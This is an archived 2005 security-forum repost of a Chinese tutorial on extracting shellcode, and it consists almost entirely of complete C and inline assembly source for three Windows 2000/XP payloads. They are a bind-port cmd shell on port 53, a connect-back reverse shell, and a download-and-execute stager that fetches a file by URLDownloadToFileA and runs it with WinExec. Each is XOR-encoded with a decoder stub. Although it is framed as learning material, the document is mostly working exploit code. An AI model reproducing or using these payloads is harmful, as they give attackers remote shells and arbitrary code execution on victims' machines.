邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-4-24 05:25

[转载]一种提取shellcode的方法

  文章作者:[email]lion@cnhonker.net[/email]

看到论坛里有网友问如何编写shellcode,虽然安全文摘里有不少关于shellcode的文章,但是都是一些现成的代码,很少有详细的讲解如何提取shellcode的文章,前几日听eyas说cnhonker有一些这方面的文章,就转过来了,算是给和我一样的初学者的一些资料吧,单步跟踪一下,会清楚很多。(提取出来的shellcode为eyas以前写过的)

作者:lion@cnhonker.net
bind port shellcode for win2k/xp

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];


unsigned char buff[]=
   "GetProcAddressx0"

   // ----- 3 -----
   "CreateProcessAx0"        // [edi-0x20]   
   "ExitThreadx0"           // [edi-0x1c]
//   "ExitProcessx0"        // [edi-0x1c]
   "LoadLibraryAx0"        // [edi-0x18]

   // -------------
   "ws2_32x0"
   
   // ----- 5 -----
   "WSASocketAx0"           // [edi-0x14]      
   "bindx0"           // [edi-0x10]      
   "listenx0"           // [edi-0x0c]
   "acceptx0"           // [edi-0x08]
   "closesocketx0";        // [edi-0x04]

DWORD   addr;
void   shellcode();

void main()
{

   unsigned   char   temp;
   unsigned   char   *shellcodefnadd, *start;
   int        k;
   char      *fnendstr   =   "x90x90x90x90x90x90x90x90x90";
   #define      FNENDLONG      0x08   
   WSADATA      wsa;
   int        all, i;
   //int port = 53;

   WSAStartup(MAKEWORD(2,2),&wsa);

   memset(sc, 0, sizeof(sc));

   // 定位shellcodefnlock的汇编代码
   shellcodefnadd = (unsigned char *)shellcode;
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
       ++shellcodefnadd;
       k=*(int *)shellcodefnadd;
       shellcodefnadd+=k;
       shellcodefnadd+=4;
   }

   // 定位shellcode的起始地址
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
   }

   // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
   start = shellcodefnadd+k+8;
   
   // 定位 shellcode 长度
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
   }
   
   //printf("%xn", htons(port));
   
   all = k + sizeof(buff) - 1;
   printf("%d + %d = %dn", k, sizeof(buff), all);
   
   memcpy(sc, start, k);
   memcpy(&sc[k],buff, sizeof(buff));
   addr = (DWORD)&sc;

   for(k=0; k <= all-3; ++k)
   {
      if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
      if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
   }

   k = all - 23;
   memcpy(sc+8, &k, 2);

   // ================== print ======================
   // decode 长度为23字节
   printsc (sc, 23);


   // xor
   for(i=23; i < all; i++)
   {
      sc[i] ^= 0x99;
   }
   
   printsc(sc+23, k);

   __asm
   {
      jmp      addr
   }

//   shellcode();
   
   Sleep(10000);
   return;
}


void printsc(unsigned char *sc, int len)
{
   int   l;
   
   // 打印 普通shellcode
   for(l = 0; l < len; l++)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("\\x%.2X", sc[l]);
      
      if(l == len-1) printf(""");
   }

   printf("nn");
   
/*
   // 打印 iis unicode shellcode
   for(l = 0; l < len; l += 2)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("%%u%.2X%.2X", sc[l+1], sc[l]);
      
      if(l == len-2) printf(""");
   }
*/
}

void shellcode()
{
   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   __asm
   {
/* --------------------解码开始---------------------- */


      jmp   decode_end

decode_start:
      
      pop   edx              // 得到解码开始位置 esp -> edx
      dec   edx
      xor   ecx,ecx
      mov   cx,0x17D           // shellcode 长度 0x175+1 = 0x176 = 373 bytes

decode_loop:
      
      xor   byte ptr [edx+ecx], 0x99
      loop   decode_loop
      jmp   decode_ok

decode_end:
      
      call   decode_start


decode_ok:

/* --------------------解码结束---------------------- */
   
      jmp   end
        
start:
      pop   edx              // 指令表起始地址存放在  esp -> edx

      // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
      //
      // 输入:
      // edx => 指令表起始地址 (不需要)
      //
      // 输出:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址

      mov   eax, fs:0x30            // PEB
      mov   eax, [eax + 0x0c]        // PROCESS_MODULE_INFO
      mov   esi, [eax + 0x1c]        // InInitOrder.flink
      lodsd
      mov   eax,[eax+8]

      // ========== 定位GetProcAddress的地址 ==========
      //
      // 输入:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址
      //
      // 输出:
      // ebx => kernel32.dll起始地址
      // eax => GetProcAddress地址
      // edx => 指令表起始地址

      mov   ebx,eax              // 取kernel32.dll的起始地址
      mov   esi,dword ptr [ebx+0x3C]
      mov   esi,dword ptr [esi+ebx+0x78]
      add    esi,ebx
      mov   edi,dword ptr [esi+0x20]
      add   edi,ebx
      mov   ecx,dword ptr [esi+0x14]
      xor   ebp,ebp
      push   esi
      
search_GetProcAddress:
      push   edi
      push   ecx
      mov   edi,dword ptr [edi]
      add   edi,ebx              // 把输出函数名表起始地址存人edi
      mov   esi,edx              // 指令表起始地址存入esi
      //mov   ecx,0Eh              // 函数getprocAddress长度为0Eh
      push   0xE
      pop   ecx
      repe   cmps byte ptr [esi],byte ptr [edi]
      je   search_GetProcAddress_ok
      
      pop   ecx
      pop   edi
      add   edi,4
      inc   ebp
      loop   search_GetProcAddress

search_GetProcAddress_ok:
      pop   ecx
      pop   edi
      pop   esi
      mov   ecx,ebp
      mov   eax,dword ptr [esi+24h]
      add   eax,ebx
      shl   ecx,1
      add   eax,ecx
      xor   ecx,ecx
      mov   cx,word ptr [eax]
      mov   eax,dword ptr [esi+1Ch]
      add   eax,ebx
      shl   ecx,2
      add   eax,ecx
      mov   eax,dword ptr [eax]
      add   eax,ebx
      
      // ============ 调用函数解决api地址 ============
      //
      // 输入:
      // ebx =>kernel32.dll起始地址
      // eax =>GetProcAddress地址
      // edx =>指令表起始地址
      //
      // 输出:
      // edi =>函数地址base addr
      // esi =>指令表当前位置
      // edx =>GetProcAddress 地址

      mov   edi,edx
      mov   esi,edi
      add   esi,0xE              // 0xE 跳过1个字符串"GetProcAddress"
      
      // ============ 解决kernel32.dll中的函数地址 ============
      mov   edx,eax              // 把GetProcAddress 地址存放在edx   
      push   3              // 需要解决的函数地址的个数 硬编码可以节省两个字节
      pop   ecx
      call   locator_api_addr
      
      // ============ 加载ws2_32.dll ============
//locator_ws2_32:
      
      add   esi,0xd              // 0xd即"ws2_32"前面那个字符串的长度,硬编码可以节省两个字节
      push   edx              // edx是GetProcAddress 地址
      push   esi              // 字符"ws2_32"地址
      call   dword ptr [edi-4]        // LoadLibraryA
      
      // ============ 解决ws2_32中的函数地址 ============
      pop   edx
      mov   ebx,eax              // 将ws2_32.dll起始地址存放在ebx
      //mov   ecx,4              
      push   5              // 函数个数
      pop   ecx              // 函数个数 <-这种方式省两个字节
      call   locator_api_addr

      // ============ create socket ============
      push   eax
      push   eax
      push   eax
      push   eax              // IPPROTO_IP 0
      push   1              // SOCK_STREAM
      push   2              // AF_INET
      call   dword ptr [edi-0x14]        // WSASocketA

      mov   ebx,eax              // socket保存在ebx
      
      // ============ 填充sockaddr_in结构 ============
      mov   dword ptr [edi],0x35000002      // 2= AF_INET 0x35 = 53
      xor   eax, eax
     mov   dword ptr [edi+4], eax           // ADDR_ANY
      
      // ============ bind  ============
      push   0x10              // sizeof(sockaddr_in)
      push   edi              // sockaddr_in address
      push   ebx              // socket
      call   dword ptr [edi-0x10]        // bind(socket, &address, sizof(address));

      // ============ listen ============
      push   0x1              // 1
      push   ebx              // socket
      call   dword ptr [edi-0xc]        // listen(socket, 1);

      // ============ accept ============
      push   eax              // 0
      push   eax              // 0
      push   ebx              // socket
      call   dword ptr [edi-0x8]        // accept(socket, &address, sizeof(address));

      mov      edx,eax

      // ============  ============      
      sub      esp,0x44
      mov      esi,esp           // 取si的起始地址
      xor      eax, eax
      push   0x10              // 0x11 * 4 = 0x44 bytes
      pop      ecx
      
zero_si:
      mov      dword ptr [esi+ecx*4],eax
      loop   zero_si


      // ============ fill si struct,si存放在stack中 ============
      mov      dword ptr [esi+0x38],edx   // si.hStdInput soskcet
      mov      dword ptr [esi+0x3C],edx   // hStdOutput soscket
      mov      dword ptr [esi+0x40],edx   // hStdError socket
      //mov   word ptr [esi+0x30],0        // wShowWindow
      mov      word ptr [esi+0x2c],0x101   // dwFlags
      
      // ============ CreateProcessA ============
      lea      eax, dword ptr [edi+0x10]
      push   eax              // pi
      push   esi              // si
      xor      ecx, ecx
      push   ecx              // lpCurrentDirectory
      push   ecx              // lpEnvironment
      push   ecx              // dwCreationFlags
      push   1              // bInheritHandles
      push   ecx              // lpThreadAttributes
      push   ecx              // lpProcessAttributes
      mov      dword ptr [edi+0x3C], 0x00646D63// 0x63=&#39;c&#39; 0x6d=&#39;m&#39; 0x64=&#39;d&#39;
      lea      eax, dword ptr [edi+0x3C]
      push   eax              // lpCommandLine
      push   ecx              // lpApplicationName NULL
      call   dword ptr [edi-0x20]        // CreateProcessA



      // ============ If no error occurs, connect returns zero. ===========
      // closesocket
      push   edx
      call   dword ptr [edi-0x4]

      // closesocket
      push   ebx
      call   dword ptr [edi-0x4]
      
      // ExitProcess
      push   eax
      call   dword ptr [edi-0x1c]        // ExitProcess

      // ============ 解决api地址的函数 ============
      //
      // 输入参数:
      // ecx 函数个数
      // edx GetProcAddress 地址
      // ebx 输出函数的dll起始地址
      // esi 函数名表起始地址
      // edi 保存函数地址的起始地址

locator_api_addr:
      
locator_space:
      xor      eax, eax
      lodsb
      test   eax, eax           // 寻找函数名之间的空格x00
      jne      locator_space

      push   ecx
      push   edx
      push   esi              // 函数名
      push   ebx              // 输出函数的dll起始地址
      call   edx
      pop      edx
      pop      ecx
      stos    dword ptr [edi]
      loop   locator_space
      xor      eax, eax
      ret


      // ==================  结束调用 ====================
end:
      call   start
   }

   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   return;
}

connect back shellcode for win2k/xp

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];

unsigned char buff[]=
   "GetProcAddressx0"
   // ----- 3 -----
   "CreateProcessAx0"        // [edi-0x18]   
   "ExitThreadx0"           // [edi-0x14]
//   "ExitProcessx0"        // [edi-0x14]
   "LoadLibraryAx0"        // [edi-0x10]

   // -------------
   "ws2_32x0"
   
   // ----- 3 -----
   "WSASocketAx0"           // [edi-0x0c]
   "connectx0"           // [edi-0x08]
   "closesocketx0";        // [edi-0x04]

DWORD   addr;
void   shellcode();

void main()
{

   unsigned   char   temp;
   unsigned   char   *shellcodefnadd, *start;
   int        k;
   char      *fnendstr   =   "x90x90x90x90x90x90x90x90x90";
   #define      FNENDLONG      0x08   
   WSADATA      wsa;
   int        all, i;

   WSAStartup(MAKEWORD(2,2),&wsa);

   memset(sc, 0, sizeof(sc));

   // 定位shellcodefnlock的汇编代码
   shellcodefnadd = shellcode;
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
       ++shellcodefnadd;
       k=*(int *)shellcodefnadd;
       shellcodefnadd+=k;
       shellcodefnadd+=4;
   }

   // 定位shellcode的起始地址
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
   }

   // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
   start = shellcodefnadd+k+8;
   
   // 定位 shellcode 长度
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
   }
   
   //printf("%xn", htons(port));
   
   all = k + sizeof(buff) - 1;
   printf("%d + %d = %dn", k, sizeof(buff), all);
   
   memcpy(sc, start, k);
   memcpy(&sc[k],buff, sizeof(buff));
   addr = (DWORD)&sc;

   for(k=0; k <= all-3; ++k)
   {
      if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %drn", k);
      if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %drnn", k);
   }

   k = all - 23;
   memcpy(sc+8, &k, 2);

   // ================== print ======================
   // decode 长度为23字节
   printsc (sc, 23);


   // xor
   for(i=23; i < all; i++)
   {
      sc[i] ^= 0x99;
   }
   
   printsc(sc+23, k);

   __asm
   {
      jmp      addr
   }

   return;
}


void printsc(unsigned char *sc, int len)
{
   int   l;
   
   // 打印 普通shellcode
   for(l = 0; l < len; l++)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("\\x%.2X", sc[l]);
      
      if(l == len-1) printf(""");
   }

   printf("nn");
   
/*
   // 打印 iis unicode shellcode
   for(l = 0; l < len; l += 2)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("%%u%.2X%.2X", sc[l+1], sc[l]);
      
      if(l == len-2) printf(""");
   }
*/
}

void shellcode()
{
   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   __asm
   {
/* --------------------解码开始---------------------- */


      jmp      decode_end

decode_start:
      
      pop      edx              // 得到解码开始位置 esp -> edx
      dec      edx
      xor      ecx,ecx
      mov      cx,0x15D           // 要解码shellcode长度
decode_loop:
      
      xor      byte ptr [edx+ecx], 0x99
      loop   decode_loop
      jmp      decode_ok

decode_end:
      
      call   decode_start


decode_ok:
/* --------------------解码结束---------------------- */
   
      jmp      end
        
start:
      pop      edx              // 指令表起始地址存放在  esp -> edx

      // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
      //
      // 输入:
      // edx => 指令表起始地址 (不需要)
      //
      // 输出:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址

      mov      eax, fs:0x30           // PEB
      mov      eax, [eax + 0x0c]        // PROCESS_MODULE_INFO
      mov      esi, [eax + 0x1c]        // InInitOrder.flink
      lodsd
      mov      eax,[eax+8]


      // ========== 定位GetProcAddress的地址 ==========
      //
      // 输入:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址
      //
      // 输出:
      // ebx => kernel32.dll起始地址
      // eax => GetProcAddress地址
      // edx => 指令表起始地址

      mov      ebx,eax              // 取kernel32.dll的起始地址 DLL Base Address
      mov      esi,dword ptr [ebx+3Ch]        // esi = PE header offset
      mov      esi,dword ptr [esi+ebx+78h]
      add      esi,ebx              // esi = exports directory table
      mov      edi,dword ptr [esi+20h]           
      add      edi,ebx              // edi = name pointers table
      mov      ecx,dword ptr [esi+14h]        // ecx = number of name pointers
      xor      ebp,ebp        
      push      esi
      
search_GetProcAddress:
      push      edi
      push      ecx
      mov      edi,dword ptr [edi]
      add      edi,ebx              // 把输出函数名表起始地址存人edi
      mov      esi,edx              // 指令表起始地址存入esi
      //mov      ecx,0Eh              // 函数getprocAddress长度为0Eh
      push      0xE
      pop      ecx
      repe cmps  byte ptr [esi],byte ptr [edi]
      je       search_GetProcAddress_ok
      
      pop      ecx
      pop      edi
      add      edi,4
      inc      ebp
      loop      search_GetProcAddress

search_GetProcAddress_ok:
      pop      ecx
      pop      edi
      pop      esi
      mov      ecx,ebp
      mov      eax,dword ptr [esi+24h]
      add      eax,ebx
      shl      ecx,1
      add      eax,ecx
      xor      ecx,ecx
      mov      cx,word ptr [eax]
      mov      eax,dword ptr [esi+1Ch]
      add      eax,ebx
      shl      ecx,2
      add      eax,ecx
      mov      eax,dword ptr [eax]
      add      eax,ebx
      
      // ============ 调用函数解决api地址 ============
      //
      // 输入:
      // ebx =>kernel32.dll起始地址
      // eax =>GetProcAddress地址
      // edx =>指令表起始地址
      //
      // 输出:
      // edi =>函数地址base addr
      // esi =>指令表当前位置
      // edx =>GetProcAddress 地址

      mov      edi,edx
      mov      esi,edi
      add      esi,0xE              // 0xE 跳过1个字符串"GetProcAddress"
      
      // ============ 解决kernel32.dll中的函数地址 ============
      mov      edx,eax              // 把GetProcAddress 地址存放在edx
      //mov      ecx,0x5              // 需要解决的函数地址的个数
      push   0x3
      pop      ecx
      call   locator_api_addr
      
      // ============ 加载ws2_32.dll ============
//locator_ws2_32:
      
      //xor      eax,eax              // locator_api_addr返回后eax为0
      //lods      //
      //test      eax,eax              // ->定位字符串"ws2_32"的起始地址
      //jne      locator_ws2_32           //
      add      esi,0xd              // 0xd即"ws2_32"前面那个字符串的长度,
                        // 硬编码可以节省两个字节
      push   edx                // edx是GetProcAddress 地址
      push   esi                // 字符"ws2_32"地址
      call   dword ptr [edi-4]           // LoadLibraryA
      
      // ============ 解决ws2_32中的函数地址 ============
      pop      edx
      mov      ebx,eax              // 将ws2_32.dll起始地址存放在ebx
      //mov      ecx,4              // 函数个数
      push   3
      pop      ecx              // 函数个数 <-这种方式省两个字节
      call   locator_api_addr

      // ============  ============
      //xor      eax,eax              // locator_api_addr返回后eax为0
      //init si
      sub      esp,0x44
      mov      esi,esp              // 取si的起始地址
      push   0x10                // 0x11 * 4 = 0x44 bytes
      pop      ecx

zero_si:
      mov      dword ptr [esi+ecx*4],eax
      loop   zero_si
      
      // ============ create socket ============
      push   eax
      push   eax
      push   eax
      push   eax                // IPPROTO_IP 0
      push   1                // SOCK_STREAM
      push   2                // AF_INET
      call   dword ptr [edi-0xc]           // WSASocket
      mov      ebx,eax              // socket保存在ebx
   
      // ============ fill si struct,si存放在stack中 ============
      mov      dword ptr [esi+0x38],ebx      // si.hStdInput soskcet
      mov      dword ptr [esi+0x3C],ebx      // hStdOutput soscket
      mov      dword ptr [esi+0x40],ebx      // hStdError socket
      //mov      word ptr [esi+0x30],0        // wShowWindow
      mov      word ptr [esi+0x2c],0x101      // dwFlags
      
      // ============ CreateProcessA ============
      lea      eax,[edi+0x10]
      push   eax                // pi
      push   esi                // si
      xor      eax,eax
      push   eax                // lpCurrentDirectory
      push   eax                // lpEnvironment
      push   eax                // dwCreationFlags
      push   1                // bInheritHandles
      push   eax                // lpThreadAttributes
      push   eax                // lpProcessAttributes
      lea      edx,[edi+0x3c]
      mov      dword ptr [edx], 0x00646D63      // 0x63=&#39;c&#39; 0x6d=&#39;m&#39; 0x64=&#39;d&#39;
      push   edx                // lpCommandLine
      push   eax                // lpApplicationName NULL
      call   dword ptr [edi-0x18]           // CreateProcessA
      
      // ============ 填充sockaddr_in结构 ============
      mov      dword ptr [edi],0x35000002      // 2= AF_INET 0x35 = 53
      mov      dword ptr [edi+0x4],0x0100007F      // ip addr,default is 127.0.0.1
      
      // ============ connect back ============
      push   0x10                // sizeof(sockaddr_in)
      //lea      eax,[edi]
      //push   eax                // sockaddr_in address
      push   edi                // sockaddr_in address
      push   ebx                // socket
      call   dword ptr [edi-0x8]           // connect
      
      // ============ If no error occurs, connect returns zero. ============
      // closesocket
      push   ebx
      call   dword ptr [edi-0x4]

      // ExitProcess
      push   eax
      call   dword ptr [edi-0x14]           // ExitProcess

      // ============ 解决api地址的函数 ============
      //
      // 输入参数:
      // ecx 函数个数
      // edx GetProcAddress 地址
      // ebx 输出函数的dll起始地址
      // esi 函数名表起始地址
      // edi 保存函数地址的起始地址

locator_api_addr:
      
locator_space:
      xor      eax,eax
      lodsb
      test   eax,eax                // 寻找函数名之间的空格x00
      jne      locator_space
      
      push   ecx
      push   edx
      push   esi                // 函数名
      push   ebx                // 输出函数的dll起始地址
      call   edx
      pop      edx
      pop      ecx
      stos   dword ptr [edi]
      loop   locator_space
      xor      eax,eax
      ret

      // ==================  结束调用 ====================
end:
      call   start
   }

   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   return;
}

download url file shellcode for win2k/xp

#include <windows.h>
#include <stdio.h>

void printsc(unsigned char *sc, int len);

unsigned char sc[0x1000];

unsigned char buff[]=
   "GetProcAddressx0"
   // ----- 4 -----
   "GetSystemDirectoryAx0"      // [edi-0x14]   
   "WinExecx0"           // [edi-0x10]
   "ExitThreadx0"           // [edi-0x0c]   
//   "ExitProcessx0"        // [edi-0x0c]
   "LoadLibraryAx0"        // [edi-0x08]

   // -------------
   "urlmonx0"
   
   // ----- 1 -----
   "URLDownloadToFileAx0";      // [edi-0x04]

unsigned char url[]=
   "[url]http://127.0.0.1/test.exex80[/url]";   // 要下载的文件url地址

DWORD   addr;
void   shellcode();

void main()
{

   unsigned   char   temp;
   unsigned   char   *shellcodefnadd, *start;
   int        k;
   char      *fnendstr   =   "x90x90x90x90x90x90x90x90x90";
   #define      FNENDLONG      0x08   
   int      all, i;

   memset(sc, 0, sizeof(sc));

   // 定位shellcodefnlock的汇编代码
   shellcodefnadd = shellcode;
   temp = *shellcodefnadd;
   if(temp == 0xe9)
   {
       ++shellcodefnadd;
       k=*(int *)shellcodefnadd;
       shellcodefnadd+=k;
       shellcodefnadd+=4;
   }

   // 定位shellcode的起始地址
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
   }

   // shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址
   start = shellcodefnadd+k+8;
   
   // 定位 shellcode 长度
   for(k=0; k <= 0x500; ++k)
   {
      if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
   }
   
   // printf("%xn", htons(port));
   
   all = k + sizeof(buff)-1 + sizeof(url);
   printf("%d + %d + %d = %dn", k, sizeof(buff)-1, sizeof(url), all);
   
   i = k-23+sizeof(buff)-1;
   
   printf("解包大小: %d + %d = %d = %Xn", k-23, sizeof(buff-1), i, i);
   
   memcpy(sc, start, k);
   memcpy(&sc[k], buff, sizeof(buff)-1);
   memcpy(&sc[k+sizeof(buff)-1], url, sizeof(url));
   
   addr = (DWORD)&sc;   
   
   memcpy(sc+8, &i, 2);

   // ================== print ======================
   // decode 长度为23字节
   printsc (sc, 23);
   
   
   
   // xor
   for(i=23; i < k+sizeof(buff)-1; i++)
   {
      sc[i] ^= 0x99;
   }
   
   printsc(sc+23, k-23);
   printsc(sc+k, sizeof(buff)-1);
   printsc(sc+k+sizeof(buff)-1, sizeof(url));

//   printsc(sc, k);

//   printsc(buff, sizeof(buff)-1);
//   printsc(url, sizeof(url));

//   printf("n%sn", url);
   
   __asm
   {
      jmp      addr
   }

   return;
}


void printsc(unsigned char *sc, int len)
{
   int   l;
   
   // 打印 普通shellcode
   for(l = 0; l < len; l++)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("\\x%.2X", sc[l]);
      
      if(l == len-1) printf(""");
   }

   printf("nn");
   
/*
   // 打印 iis unicode shellcode
   for(l = 0; l < len; l += 2)
   {
      if(l == 0) printf(""");
      if((l%16 == 0) && (l != 0))printf(""n"");
      
      printf("%%u%.2X%.2X", sc[l+1], sc[l]);
      
      if(l == len-2) printf(""");
   }
*/
}

void shellcode()
{
   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   __asm
   {
/* --------------------解码开始---------------------- */


      jmp      decode_end

decode_start:
      
      pop      edx              // 得到解码开始位置 esp -> edx
      dec      edx
      xor      ecx,ecx
      mov      cx,0x13D           // 要解码的长度

decode_loop:
      
      xor      byte ptr [edx+ecx], 0x99
      loop   decode_loop
      jmp      decode_ok

decode_end:
      
      call   decode_start


decode_ok:

/* --------------------解码结束---------------------- */

      jmp      end
        
start:
      pop      edx              // 指令表起始地址存放在  esp -> edx

      // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
      //
      // 输入:
      // edx => 指令表起始地址 (不需要)
      //
      // 输出:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址

      mov      eax, fs:0x30    // PEB
      mov      eax, [eax + 0x0c] // PROCESS_MODULE_INFO
      mov      esi, [eax + 0x1c] // InInitOrder.flink
      lodsd
      mov      eax,[eax+8]



      // ========== 定位GetProcAddress的地址 ==========
      //
      // 输入:
      // eax => kernel32.dll起始地址
      // edx => 指令表起始地址
      //
      // 输出:
      // ebx => kernel32.dll起始地址
      // eax => GetProcAddress地址
      // edx => 指令表起始地址

      mov      ebx,eax              // 取kernel32.dll的起始地址 DLL Base Address
      mov      esi,dword ptr [ebx+3Ch]        // esi = PE header offset
      mov      esi,dword ptr [esi+ebx+78h]
      add      esi,ebx              // esi = exports directory table
      mov      edi,dword ptr [esi+20h]           
      add      edi,ebx              // edi = name pointers table
      mov      ecx,dword ptr [esi+14h]        // ecx = number of name pointers
      xor      ebp,ebp        
      push      esi

        
search_GetProcAddress:
      push      edi
      push      ecx
      mov      edi,dword ptr [edi]
      add      edi,ebx              // 把输出函数名表起始地址存人edi
      mov      esi,edx              // 指令表起始地址存入esi
      //mov      ecx,0Eh              // 函数getprocAddress长度为0Eh
      push      0xE
      pop      ecx
      repe cmps  byte ptr [esi],byte ptr [edi]
      je       search_GetProcAddress_ok
      
      pop      ecx
      pop      edi
      add      edi,4
      inc      ebp
      loop      search_GetProcAddress

search_GetProcAddress_ok:
      pop      ecx
      pop      edi
      pop      esi
      mov      ecx,ebp
      mov      eax,dword ptr [esi+0x24]
      add      eax,ebx
      shl      ecx,1
      add      eax,ecx
      xor      ecx,ecx
      mov      cx,word ptr [eax]
      mov      eax,dword ptr [esi+0x1C]
      add      eax,ebx
      shl      ecx,2
      add      eax,ecx
      mov      eax,dword ptr [eax]
      add      eax,ebx
      
      // ============ 调用函数解决api地址 ============
      //
      // 输入:
      // ebx =>kernel32.dll起始地址
      // eax =>GetProcAddress地址
      // edx =>指令表起始地址
      //
      // 输出:
      // edi =>函数地址base addr
      // esi =>指令表当前位置
      // edx =>GetProcAddress 地址

      mov      edi,edx
      mov      esi,edi
      add      esi,0xE              // 0xE 跳过1个字符串"GetProcAddress"
      
      // ============ 解决kernel32.dll中的函数地址 ============
      mov      edx,eax              // 把GetProcAddress 地址存放在edx
      //mov      ecx,0x5              // 需要解决的函数地址的个数
      push   0x4
      pop      ecx
      call   locator_api_addr
      
      // ============ 加载urlmon.dll ============
//locator_urlmon:
      
      //xor      eax,eax              // locator_api_addr返回后eax为0
      //lods                   //
      //test      eax,eax              // ->定位字符串"urlmon"的起始地址
      //jne      locator_urlmon           //
      add      esi,0xd              // 0xd即"urlmon"前面那个字符串的长度,
                        // 硬编码可以节省两个字节
      push   edx                // edx是GetProcAddress 地址
      push   esi                // 字符"urlmon"地址
      call   dword ptr [edi-4]           // LoadLibraryA
      
      // ============ 解决urlmon中的函数地址 ============
      pop      edx
      mov      ebx,eax              // 将urlmon.dll起始地址存放在ebx
      //mov      ecx,1              // 函数个数
      push   0x1
      pop      ecx              // 函数个数 <-这种方式省两个字节
      call   locator_api_addr

      // ============ 取得url起始地址  ============
      add esi, 0x13                // URLDownloadToFileA 的长度为0x13   
      push esi
searchurl:
      inc esi
      
      cmp byte ptr [esi], 0x80
      jne searchurl
      
      xor byte ptr [esi], 0x80           // 把0x80 改成 0x00 结束字符串

      pop esi                   // 取得url 的起始地址
      
      // 取得一些空间存放系统路径
      sub esp, 0x20
      mov ebx, esp
      
      // 调用GetSystemDirectoryA获得系统路径
      push 0x20
      push ebx
      call [edi-0x14]      
      
      // eax 为系统路径的长度
      // 调用URLDownloadToFileA下载文件并保存成a.exe
      mov dword ptr [ebx+eax], 0x652E615C        // "a.e"
      mov dword ptr [ebx+eax+0x4], 0x00006578      // "xe"
      xor eax, eax                // 清0
      push eax
      push eax
      push ebx
      push esi
      push eax
      call [edi-0x4]
      
      // 调用WinExec执行文件
      mov ebx, esp
      push eax
      push ebx
      call [edi-0x10]
      
      // ExitpProcess
      push   eax
      call   dword ptr [edi-0x0c]           // ExitProcess

      // ============ 解决api地址的函数 ============
      //
      // 输入参数:
      // ecx 函数个数
      // edx GetProcAddress 地址
      // ebx 输出函数的dll起始地址
      // esi 函数名表起始地址
      // edi 保存函数地址的起始地址

locator_api_addr:
      
locator_space:
      xor      eax,eax
      lodsb
      test   eax,eax                // 寻找函数名之间的空格x00
      jne      locator_space
      
      push   ecx
      push   edx
      push   esi                // 函数名
      push   ebx                // 输出函数的dll起始地址
      call   edx
      pop      edx
      pop      ecx
      stos   dword ptr [edi]
      loop   locator_space
      xor      eax,eax
      ret

      // ==================  结束调用 ====================
end:
      call   start
   }

   __asm
   {
      nop
      nop
      nop
      nop
      nop
      nop
      nop
      nop
   }

   return;
}

页: [1]
© 1999-2008 EvilOctal Security Team